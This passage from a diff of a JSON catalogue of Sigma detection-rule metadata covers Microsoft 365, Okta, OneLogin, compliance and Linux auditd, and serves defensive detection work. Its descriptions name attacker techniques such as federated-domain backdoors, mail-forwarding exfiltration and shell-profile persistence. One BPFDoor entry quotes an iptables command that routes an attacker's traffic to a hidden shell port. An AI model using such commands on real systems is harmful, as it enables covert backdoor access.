"c191e2fa-f9d6-4ccf-82af-4f2aba08359f", + "value": "Logon from a Risky IP Address" + }, + { + "description": "Alert for the addition of a new federated domain.", + "meta": { + "author": "@ionsor", + "creation_date": "2022/02/08", + "falsepositive": [ + "The creation of a new Federated domain is not necessarily malicious, however these events need to be followed closely, as it may indicate federated credential abuse or backdoor via federated identities at a similar or different cloud provider." + ], + "filename": "microsoft365_new_federated_domain_added.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "m365", + "refs": [ + "https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/wp-m-unc2452-2021-000343-01.pdf", + "https://us-cert.cisa.gov/ncas/alerts/aa21-008a", + "https://www.splunk.com/en_us/blog/security/a-golden-saml-journey-solarwinds-continued.html", + "https://www.sygnia.co/golden-saml-advisory", + "https://o365blog.com/post/aadbackdoor/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_new_federated_domain_added.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1136.003" + ] + }, + "uuid": "42127bdd-9133-474f-a6f1-97b6c08a4339", + "value": "New Federated Domain Added" + }, + { + "description": "Detects when a Microsoft Cloud App Security reported when a user uploads files to the cloud that might be infected with ransomware.", + "meta": { + "author": "austinsonger", + "creation_date": "2021/08/19", + "falsepositive": [ + "Unknown" + ], + "filename": "microsoft365_potential_ransomware_activity.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "m365", + "refs": [ + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_potential_ransomware_activity.yml" + ], + "tags": [ + "attack.impact", + "attack.t1486" + ] + }, + "uuid": "bd132164-884a-48f1-aa2d-c6d646b04c69", + "value": "Microsoft 365 - Potential Ransomware Activity" + }, + { + "description": "Alert on when a user has performed an eDiscovery search or exported a PST file from the search. This PST file usually has sensitive information including email body content", + "meta": { + "author": "Sorina Ionescu", + "creation_date": "2022/02/08", + "falsepositive": [ + "PST export can be done for legitimate purposes but due to the sensitive nature of its content it must be monitored." + ], + "filename": "microsoft365_pst_export_alert.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "m365", + "refs": [ + "https://attack.mitre.org/techniques/T1114/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_pst_export_alert.yml" + ], + "tags": [ + "attack.collection", + "attack.t1114" + ] + }, + "uuid": "18b88d08-d73e-4f21-bc25-4b9892a4fdd0", + "value": "PST Export Alert" + }, + { + "description": "Detects when a Microsoft Cloud App Security reported suspicious email forwarding rules, for example, if a user created an inbox rule that forwards a copy of all emails to an external address.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/22", + "falsepositive": [ + "Unknown" + ], + "filename": "microsoft365_susp_inbox_forwarding.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "m365", + "refs": [ + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_susp_inbox_forwarding.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1020" + ] + }, + "uuid": "6c220477-0b5b-4b25-bb90-66183b4089e8", + "value": "Suspicious Inbox Forwarding" + }, + { + "description": "Detects when a Microsoft Cloud App Security reported when an app downloads multiple files from Microsoft SharePoint or Microsoft OneDrive in a manner that is unusual for the user.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/23", + "falsepositive": [ + "Unknown" + ], + "filename": "microsoft365_susp_oauth_app_file_download_activities.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "m365", + "refs": [ + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_susp_oauth_app_file_download_activities.yml" + ], + "tags": [ + "attack.exfiltration" + ] + }, + "uuid": "ee111937-1fe7-40f0-962a-0eb44d57d174", + "value": "Suspicious OAuth App File Download Activities" + }, + { + "description": "Detects when a Microsoft Cloud App Security reported a user has deleted a unusual a large volume of files.", + "meta": { + "author": "austinsonger", + "creation_date": "2021/08/19", + "falsepositive": [ + "Unknown" + ], + "filename": "microsoft365_unusual_volume_of_file_deletion.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "m365", + "refs": [ + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_unusual_volume_of_file_deletion.yml" + ], + "tags": [ + "attack.impact", + "attack.t1485" + ] + }, + "uuid": "78a34b67-3c39-4886-8fb4-61c46dc18ecd", + "value": "Microsoft 365 - Unusual Volume of File Deletion" + }, + { + "description": "Detects when a Security Compliance Center reported a user who exceeded sending limits of the service policies and because of this has been restricted from sending email.", + "meta": { + "author": "austinsonger", + "creation_date": "2021/08/19", + "falsepositive": [ + "Unknown" + ], + "filename": "microsoft365_user_restricted_from_sending_email.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "m365", + "refs": [ + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_user_restricted_from_sending_email.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1199" + ] + }, + "uuid": "ff246f56-7f24-402a-baca-b86540e3925c", + "value": "Microsoft 365 - User Restricted from Sending Email" + }, + { + "description": "Detects when an the Administrator role is assigned to an user or group.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/09/12", + "falsepositive": [ + "Administrator roles could be assigned to users or group by other admin users." + ], + "filename": "okta_admin_role_assigned_to_user_or_group.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "okta", + "refs": [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_admin_role_assigned_to_user_or_group.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "413d4a81-6c98-4479-9863-014785fd579c", + "value": "Okta Admin Role Assigned to an User or Group" + }, + { + "description": "Detects when a API token is created", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/09/12", + "falsepositive": [ + "Unknown" + ], + "filename": "okta_api_token_created.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "okta", + "refs": [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_api_token_created.yml" + ], + "tags": [ + "attack.persistence" + ] + }, + "uuid": "19951c21-229d-4ccb-8774-b993c3ff3c5c", + "value": "Okta API Token Created" + }, + { + "description": "Detects when a API Token is revoked.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/09/12", + "falsepositive": [ + "Unknown" + ], + "filename": "okta_api_token_revoked.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "okta", + "refs": [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_api_token_revoked.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "cf1dbc6b-6205-41b4-9b88-a83980d2255b", + "value": "Okta API Token Revoked" + }, + { + "description": "Detects when an application is modified or deleted.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/09/12", + "falsepositive": [ + "Unknown" + ], + "filename": "okta_application_modified_or_deleted.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "okta", + "refs": [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_application_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "7899144b-e416-4c28-b0b5-ab8f9e0a541d", + "value": "Okta Application Modified or Deleted" + }, + { + "description": "Detects when an application Sign-on Policy is modified or deleted.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/09/12", + "falsepositive": [ + "Unknown" + ], + "filename": "okta_application_sign_on_policy_modified_or_deleted.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "okta", + "refs": [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_application_sign_on_policy_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "8f668cc4-c18e-45fe-ad00-624a981cf88a", + "value": "Okta Application Sign-On Policy Modified or Deleted" + }, + { + "description": "Detects when an attempt at deactivating or resetting MFA.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/09/21", + "falsepositive": [ + "If a MFA reset or deactivated was performed by a system administrator." + ], + "filename": "okta_mfa_reset_or_deactivated.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "okta", + "refs": [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_mfa_reset_or_deactivated.yml" + ], + "tags": [ + "attack.persistence" + ] + }, + "uuid": "50e068d7-1e6b-4054-87e5-0a592c40c7e0", + "value": "Okta MFA Reset or Deactivated" + }, + { + "description": "Detects when an Network Zone is Deactivated or Deleted.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/09/12", + "falsepositive": [ + "Unknown" + ], + "filename": "okta_network_zone_deactivated_or_deleted.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "okta", + "refs": [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_network_zone_deactivated_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "9f308120-69ed-4506-abde-ac6da81f4310", + "value": "Okta Network Zone Deactivated or Deleted" + }, + { + "description": "Detects when an Okta policy is modified or deleted.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/09/12", + "falsepositive": [ + "Okta Policies being modified or deleted may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Okta Policies modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "okta_policy_modified_or_deleted.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "okta", + "refs": [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_policy_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "1667a172-ed4c-463c-9969-efd92195319a", + "value": "Okta Policy Modified or Deleted" + }, + { + "description": "Detects when an Policy Rule is Modified or Deleted.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/09/12", + "falsepositive": [ + "Unknown" + ], + "filename": "okta_policy_rule_modified_or_deleted.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "okta", + "refs": [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_policy_rule_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "0c97c1d3-4057-45c9-b148-1de94b631931", + "value": "Okta Policy Rule Modified or Deleted" + }, + { + "description": "Detects when an security threat is detected in Okta.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/09/12", + "falsepositive": [ + "Unknown" + ], + "filename": "okta_security_threat_detected.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "okta", + "refs": [ + "https://okta.github.io/okta-help/en/prod/Content/Topics/Security/threat-insight/configure-threatinsight-system-log.htm", + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_security_threat_detected.yml" + ], + "tags": "No established tags" + }, + "uuid": "5c82f0b9-3c6d-477f-a318-0e14a1df73e0", + "value": "Okta Security Threat Detected" + }, + { + "description": "Detects when unauthorized access to app occurs.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/09/12", + "falsepositive": [ + "User might of believe that they had access." + ], + "filename": "okta_unauthorized_access_to_app.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "okta", + "refs": [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_unauthorized_access_to_app.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "6cc2b61b-d97e-42ef-a9dd-8aa8dc951657", + "value": "Okta Unauthorized Access to App" + }, + { + "description": "Detects when an user account is locked out.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/09/12", + "falsepositive": [ + "Unknown" + ], + "filename": "okta_user_account_locked_out.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "okta", + "refs": [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_user_account_locked_out.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "14701da0-4b0f-4ee6-9c95-2ffb4e73bb9a", + "value": "Okta User Account Locked Out" + }, + { + "description": "Detects when an user assumed another user account.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/10/12", + "falsepositive": [ + "Unknown" + ], + "filename": "onelogin_assumed_another_user.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "onelogin", + "refs": [ + "https://developers.onelogin.com/api-docs/1/events/event-resource", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/onelogin/onelogin_assumed_another_user.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "62fff148-278d-497e-8ecd-ad6083231a35", + "value": "OneLogin User Assumed Another User" + }, + { + "description": "Detects when an user account is locked or suspended.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/10/12", + "falsepositive": [ + "System may lock or suspend user accounts." + ], + "filename": "onelogin_user_account_locked.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "onelogin", + "refs": [ + "https://developers.onelogin.com/api-docs/1/events/event-resource/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/onelogin/onelogin_user_account_locked.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "a717c561-d117-437e-b2d9-0118a7035d01", + "value": "OneLogin User Account Locked" + }, + { + "description": "Before deploying any new asset, change all default passwords to have values consistent with administrative level accounts.\nSigma detects default credentials usage. Sigma for Qualys vulnerability scanner. Scan type - Vulnerability Management.\n", + "meta": { + "author": "Alexandr Yampolskyi, SOC Prime", + "creation_date": "2019/03/26", + "falsepositive": [ + "Unknown" + ], + "filename": "default_credentials_usage.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "qualys", + "refs": [ + "https://www.cisecurity.org/controls/cis-controls-list/", + "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", + "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", + "https://community.qualys.com/docs/DOC-6406-reporting-toolbox-focused-search-lists", + "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/default_credentials_usage.yml" + ], + "tags": "No established tags" + }, + "uuid": "1a395cbc-a84a-463a-9086-ed8a70e573c7", + "value": "Default Credentials Usage" + }, + { + "description": "Ensure that all account usernames and authentication credentials are transmitted across networks using encrypted channels.\nEnsure that an encryption is used for all sensitive information in transit. Ensure that an encrypted channels is used for all administrative account access.\n", + "meta": { + "author": "Alexandr Yampolskyi, SOC Prime, Tim Shelton", + "creation_date": "2019/03/26", + "falsepositive": [ + "Unknown" + ], + "filename": "firewall_cleartext_protocols.yml", + "level": "low", + "logsource.category": "firewall", + "logsource.product": "No established product", + "refs": [ + "https://www.cisecurity.org/controls/cis-controls-list/", + "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", + "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/firewall_cleartext_protocols.yml" + ], + "tags": "No established tags" + }, + "uuid": "d7fb8f0e-bd5f-45c2-b467-19571c490d7e", + "value": "Cleartext Protocol Usage" + }, + { + "description": "Configure systems to issue a log entry and alert when an account is added to or removed from any group assigned administrative privileges.\nSigma detects\nEvent ID 4728 indicates a ‘Member is added to a Security Group’.\nEvent ID 4729 indicates a ‘Member is removed from a Security enabled-group’ .\nEvent ID 4730 indicates a ‘Security Group is deleted’.\nThe case is not applicable for Unix OS.\nSupported OS - Windows 2008 R2 and 7, Windows 2012 R2 and 8.1, Windows 2016 and 10 Windows Server 2019, Windows Server 2000, Windows 2003 and XP.\n", + "meta": { + "author": "Alexandr Yampolskyi, SOC Prime", + "creation_date": "2019/03/26", + "falsepositive": [ + "Unknown" + ], + "filename": "group_modification_logging.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.cisecurity.org/controls/cis-controls-list/", + "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", + "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4728", + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4729", + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4730", + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=633", + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=632", + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=634", + "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/group_modification_logging.yml" + ], + "tags": "No established tags" + }, + "uuid": "9cf01b6c-e723-4841-a868-6d7f8245ca6e", + "value": "Group Modification Logging" + }, + { + "description": "Host Without Firewall. Alert means not complied. Sigma for Qualys vulnerability scanner. Scan type - Vulnerability Management.", + "meta": { + "author": "Alexandr Yampolskyi, SOC Prime", + "creation_date": "2019/03/19", + "falsepositive": "No established falsepositives", + "filename": "host_without_firewall.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "qualys", + "refs": [ + "https://www.cisecurity.org/controls/cis-controls-list/", + "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", + "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/host_without_firewall.yml" + ], + "tags": "No established tags" + }, + "uuid": "6b2066c8-3dc7-4db7-9db0-6cc1d7b0dde9", + "value": "Host Without Firewall" + }, + { + "description": "Ensure that all account usernames and authentication credentials are transmitted across networks using encrypted channels\nEnsure that an encryption is used for all sensitive information in transit.\nEnsure that an encrypted channels is used for all administrative account access.\n", + "meta": { + "author": "Alexandr Yampolskyi, SOC Prime", + "creation_date": "2019/03/26", + "falsepositive": [ + "Unknown" + ], + "filename": "netflow_cleartext_protocols.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "No established product", + "refs": [ + "https://www.cisecurity.org/controls/cis-controls-list/", + "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", + "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/netflow_cleartext_protocols.yml" + ], + "tags": "No established tags" + }, + "uuid": "7e4bfe58-4a47-4709-828d-d86c78b7cc1f", + "value": "Cleartext Protocol Usage" + }, + { + "description": "Automatically lock workstation sessions after a standard period of inactivity.\nThe case is not applicable for Unix OS. Supported OS - Windows 2008 R2 and 7, Windows 2012 R2 and 8.1, Windows 2016 and 10 Windows Server 2019.\n", + "meta": { + "author": "Alexandr Yampolskyi, SOC Prime", + "creation_date": "2019/03/26", + "falsepositive": [ + "Unknown" + ], + "filename": "workstation_was_locked.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.cisecurity.org/controls/cis-controls-list/", + "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", + "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4800", + "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/workstation_was_locked.yml" + ], + "tags": "No established tags" + }, + "uuid": "411742ad-89b0-49cb-a7b0-3971b5c1e0a4", + "value": "Locked Workstation" + }, + { + "description": "Detects change of user environment. Adversaries can insert code into these files to gain persistence each time a user logs in or opens a new shell.", + "meta": { + "author": "Peter Matkovski", + "creation_date": "2019/05/12", + "falsepositive": [ + "Admin or User activity" + ], + "filename": "lnx_auditd_alter_bash_profile.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "MITRE Attack technique T1156; .bash_profile and .bashrc. ", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_alter_bash_profile.yml" + ], + "tags": [ + "attack.s0003", + "attack.persistence", + "attack.t1546.004" + ] + }, + "uuid": "e74e15cc-c4b6-4c80-b7eb-dfe49feb7fe9", + "value": "Edit of .bash_profile and .bashrc" + }, + { + "description": "Detects attempts to record audio with arecord utility", + "meta": { + "author": "Pawel Mazur", + "creation_date": "2021/09/04", + "falsepositive": [ + "Unknown" + ], + "filename": "lnx_auditd_audio_capture.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://linux.die.net/man/1/arecord", + "https://linuxconfig.org/how-to-test-microphone-with-audio-linux-sound-architecture-alsa", + "https://attack.mitre.org/techniques/T1123/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_audio_capture.yml" + ], + "tags": [ + "attack.collection", + "attack.t1123" + ] + }, + "uuid": "a7af2487-9c2f-42e4-9bb9-ff961f0561d5", + "value": "Audio Capture" + }, + { + "description": "Detect changes in auditd configuration files", + "meta": { + "author": "Mikhail Larin, oscd.community", + "creation_date": "2019/10/25", + "falsepositive": [ + "Legitimate administrative activity" + ], + "filename": "lnx_auditd_auditing_config_change.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://github.com/Neo23x0/auditd/blob/master/audit.rules", + "Self Experience", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_auditing_config_change.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.006" + ] + }, + "uuid": "977ef627-4539-4875-adf4-ed8f780c4922", + "value": "Auditing Configuration Changes on Linux Host" + }, + { + "description": "Adversaries may use binary padding to add junk data and change the on-disk representation of malware.\nThis rule detect using dd and truncate to add a junk data to file.\n", + "meta": { + "author": "Igor Fits, oscd.community", + "creation_date": "2020/10/13", + "falsepositive": [ + "Legitimate script work" + ], + "filename": "lnx_auditd_binary_padding.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027.001/T1027.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_binary_padding.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027.001" + ] + }, + "uuid": "c52a914f-3d8b-4b2a-bb75-b3991e75f8ba", + "value": "Binary Padding" + }, + { + "description": "detects BPFDoor .lock and .pid files access in temporary file storage facility", + "meta": { + "author": "Rafal Piasecki", + "creation_date": "2022/08/10", + "falsepositive": [ + "Unlikely" + ], + "filename": "lnx_auditd_bpfdoor_file_accessed.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://www.sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/", + "https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_bpfdoor_file_accessed.yml" + ], + "tags": [ + "attack.execution", + "attack.t1106", + "attack.t1059" + ] + }, + "uuid": "808146b2-9332-4d78-9416-d7e47012d83d", + "value": "BPFDoor Abnormal Process ID or Lock File Accessed" + }, + { + "description": "All TCP traffic on particular port from attacker is routed to different port. ex. '/sbin/iptables -t nat -D PREROUTING -p tcp -s 192.168.1.1 --dport 22 -j REDIRECT --to-ports 42392'\nThe traffic looks like encrypted SSH communications going to TCP port 22, but in reality is being directed to the shell port once it hits the iptables rule for the attacker host only.\n", + "meta": { + "author": "Rafal Piasecki", + "creation_date": "2022/08/10", + "falsepositive": [ + "Legitimate ports redirect" + ], + "filename": "lnx_auditd_bpfdoor_port_redirect.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://www.sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/", + "https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_bpfdoor_port_redirect.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.004" + ] + }, + "uuid": "70b4156e-50fc-4523-aa50-c9dddf1993fc", + "value": "Bpfdoor TCP Ports Redirect" + }, + { + "description": "Detects attempts to discover the files with setuid/setgid capability on them. That would allow adversary to escalate their privileges.", + "meta": { + "author": "Pawel Mazur", + "creation_date": "2021/11/28", + "falsepositive": [ + "Unknown" + ], + "filename": "lnx_auditd_capabilities_discovery.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://man7.org/linux/man-pages/man8/getcap.8.html", + "https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/", + "https://mn3m.info/posts/suid-vs-capabilities/", + "https://int0x33.medium.com/day-44-linux-capabilities-privilege-escalation-via-openssl-with-selinux-enabled-and-enforced-74d2bec02099", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_capabilities_discovery.yml" + ], + "tags": [ + "attack.collection", + "attack.privilege_escalation", + "attack.t1123", + "attack.t1548" + ] + }, + "uuid": "fe10751f-1995-40a5-aaa2-c97ccb4123fe", + "value": "Linux Capabilities Discovery" + }, + { + "description": "Detect file time attribute change to hide new or changes to existing files.", + "meta": { + "author": "Igor Fits, oscd.community", + "creation_date": "2020/10/15", + "falsepositive": [ + "Unknown" + ], + "filename": "lnx_auditd_change_file_time_attr.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.006/T1070.006.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_change_file_time_attr.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.006" + ] + }, + "uuid": "b3cec4e7-6901-4b0d-a02d-8ab2d8eb818b", + "value": "File Time Attribute Change" + }, + { + "description": "Detects removing immutable file attribute.", + "meta": { + "author": "Jakob Weinzettl, oscd.community", + "creation_date": "2019/09/23", + "falsepositive": [ + "Administrator interacting with immutable files (e.g. for instance backups)." + ], + "filename": "lnx_auditd_chattr_immutable_removal.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.002/T1222.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_chattr_immutable_removal.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1222.002" + ] + }, + "uuid": "a5b977d6-8a81-4475-91b9-49dbfcd941f7", + "value": "Remove Immutable File Attribute" + }, + { + "description": "Detects attempts to collect data stored in the clipboard from users with the usage of xclip tool.\nXclip has to be installed.\nHighly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.\n", + "meta": { + "author": "Pawel Mazur", + "creation_date": "2021/09/24", + "falsepositive": [ + "Legitimate usage of xclip tools" + ], + "filename": "lnx_auditd_clipboard_collection.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://attack.mitre.org/techniques/T1115/", + "https://linux.die.net/man/1/xclip", + "https://www.cyberciti.biz/faq/xclip-linux-insert-files-command-output-intoclipboard/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_clipboard_collection.yml" + ], + "tags": [ + "attack.collection", + "attack.t1115" + ] + }, + "uuid": "214e7e6c-f21b-47ff-bb6f-551b2d143fcf", + "value": "Clipboard Collection with Xclip Tool" + }, + { + "description": "Detects attempts to collect image data stored in 